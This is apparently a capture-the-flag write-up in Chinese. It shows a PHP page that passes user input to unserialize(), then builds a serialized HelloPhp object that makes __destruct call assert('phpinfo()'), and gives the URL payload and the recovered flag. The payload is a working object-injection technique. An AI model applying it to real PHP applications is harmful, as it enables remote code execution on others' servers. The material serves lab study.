開啟靶機,看看情況
右鍵想看原始碼沒反應,關掉設定裡的JavaScript即可檢視原始碼
點進去看看發現原始碼
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
類裡有兩個魔術方法,很貼心已經幫你建立好了這個類,所以不用看__construct()函式,剩下的__destruct()函式就是對類裡的a,b屬性進行賦值,利用點 $b($a),這格式很明顯,b傳一個執行函式,a傳命令,不過這裡值得注意,eval()函式括號裡必須是雙引號,形如eval(phpinfo())是不合法的,所以這裡我們可以用另一個執行函式assert(),assert()函式會執行括號裡的命令,形如assert(phpinfo())是合法的。
我們構建反序列化語句
<?php
class HelloPhp
{
public $a='phpinfo()';
public $b='assert';
}
$c = new HelloPhp;
echo(serialize($c));
得到payload:?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}
這裡找了半天flag,查了下資料才發現flag就在phpinfo裡,cltr+f搜尋flag得到flag
flag{a484fcf9-e915-45a7-a096-eec42e079686}